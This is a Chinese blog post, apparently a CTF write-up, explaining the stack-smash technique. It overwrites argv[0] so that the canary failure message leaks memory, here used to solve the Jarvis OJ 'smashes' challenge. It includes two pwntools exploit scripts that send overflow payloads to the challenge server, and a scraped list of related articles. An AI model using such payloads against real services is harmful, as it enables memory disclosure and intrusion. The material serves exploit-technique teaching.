花式栈溢出值stack smash

原理:

在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{/* The loop is added only to keep gcc happy.  */while (1)__libc_message (2, "*** %s ***: %s terminated\n",msg, __libc_argv[0] ?: "<unknown>");
}

所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail 函数中就会输出我们想要的信息。

jarvise oj —smashes

在main函数中我们发现的存在栈溢出的get()函数

同时我们又发现了类似flag的字符串,当然不是真正的flag

我们又发现了存在stack smash的函数,查看保护机制后发现也开启了canary,这就完全符合了我们的技巧,我们可以利用stack smash解题了

__小知识:当ELF文件比较小的时候,他的不同区段可能会被多次映射,也就是说flag可能有备份,gdb查找一下 __

我们发现了不可修改的flag地址。

在get函数输入的地方下断点,查看栈结构。找到偏移

exp:

计算偏移的:

from pwn import*
p=remote('pwn.jarvisoj.com',9877)
p.recvline("name?")
new_addr=0x400d21
payload='A'*0x218+p64(new_addr)
p.sendline(payload)
p.interactive()

既然argv[0]一定在栈上,那么覆盖足够长的栈空间均为flag的值 即可

from pwn import*
p=remote('pwn.jarvisoj.com',9877)
p.recvline("name?")
new_addr=0x400d21
payload=p64(new_addr)*100
p.sendline(payload)
p.interactive()

21
payload=p64(new_addr)*100
p.sendline(payload)
p.interactive()


花式栈溢出值stack smash相关推荐

  1. 花式栈溢出技巧----Stack smash

    学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#stack-smash 以前遇见过一次这种情况,但是是 ...

  2. 花式栈溢出技巧----stack pivoting/frame faking

    学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/ https://www.jianshu.com/ ...

  3. 构造虚假栈帧 | 花式栈溢出

    花式栈溢出技巧----stack pivoting/frame faking: https://blog.csdn.net/qq_42192672/article/details/83039125 C ...

  4. 花式栈溢出技巧之stack pivoting

    原理 正如它描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后在相应位置进行ROP.一般来说,我们可能在下述情况使用劫持栈指针. 可以控制栈溢出的字节数较少,难以构造较长的ROP链. 开启了 ...

  5. 知识点讲解四:栈溢出(stack overflow)问题解决方案

    在爬取某个网页的时候遇到了这个问题: Fatal Python error: Cannot recover from stack overflow 我问题所在:使用函数时递归调用次数过多(800左右会 ...

  6. 花式栈溢出技巧之frame faking

    frame faking 构造一个虚假的栈帧来控制程序的执行流 原理 之前所讲的栈溢出不外乎两种方式: 控制程序EIP 控制程序EBP 其最终都是控制程序的执行流.在frame faking中,我们所 ...

  7. TOJ4309 表达式求值 stack

    描述 Dr.Kong设计的机器人卡多掌握了加减法运算以后,最近又学会了一些简单的函数求值,比如,它知道函数min(20,23)的值是20 ,add(10,98) 的值是108等等.经过训练,Dr.Ko ...

  8. 花式栈溢出技巧----partial overwrite

    学习资料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#partial-overwrite https://b ...

  9. 栈溢出之stack privot姿势学习

    该技巧就是劫持栈指针到自己可以控制的内存,然后进行ROP,一般来说一下几种情形可以使用 栈溢出字节数较少,无法构造足够长的ROP链 程序开启了PIE保护,栈地址未知 将栈劫持到堆,利用堆漏洞 例 bo ...

最新文章

  1. 苹果禁止使用热更新 iOS开发程序员新转机来临
  2. 内容推荐 | 生信技术与前沿内容知识库
  3. 微信界面代码android,仿微信界面代码安卓版
  4. ORACLE之SPFILE与PFILE
  5. Hadoop----hdfs的基本操作
  6. UVa272-TeX中的引号
  7. ProcessExplore 最新版
  8. openssl 加密解密 指令_Shell openssl命令加密解密字符串
  9. 如何将docker 镜像上传到docker hub仓库
  10. 10、python图像识别库tesseract下载及配置
  11. 巩固知识体系!mysql变量类型
  12. Word邮件合并制作上百份薪酬变动通知书及日期格式处理技巧
  13. 翻译 | Learning React Without Using React Part 2
  14. easyui图标使用(查找)
  15. win10安装solidworks 注册机闪退的问题,转自知乎
  16. java 酒店系统_Java实现酒店客房管理系统
  17. 新浪微博维护工具 推兔刷积分
  18. js去除字符串中的空白字符(也可以去除其他字符串)
  19. 视频号账号定位怎么做?如何做微信视频号定位
  20. JLINK烧写U-boot到NAND Flash中

热门文章

  1. 2021年中国货物运输量、货物运输周转量及港口货物情况分析[图]
  2. AT2657 Mole and Abandoned Mine
  3. codeforces 584A
  4. 六大服务器和网络监控工具
  5. 使用sizeof()计算结构体大小
  6. python获取中文拼音首字母以进行检索
  7. 华为推出“换皮肤”服务
  8. css取消a标签自动换行,css中a元素放长英文字母或者数字自动换行的解决
  9. 无线网络常见安全风险及应对措施
  10. ckpt下载 deeplabv3_煮酒论英雄:深度学习CV领域最瞩目的成果top46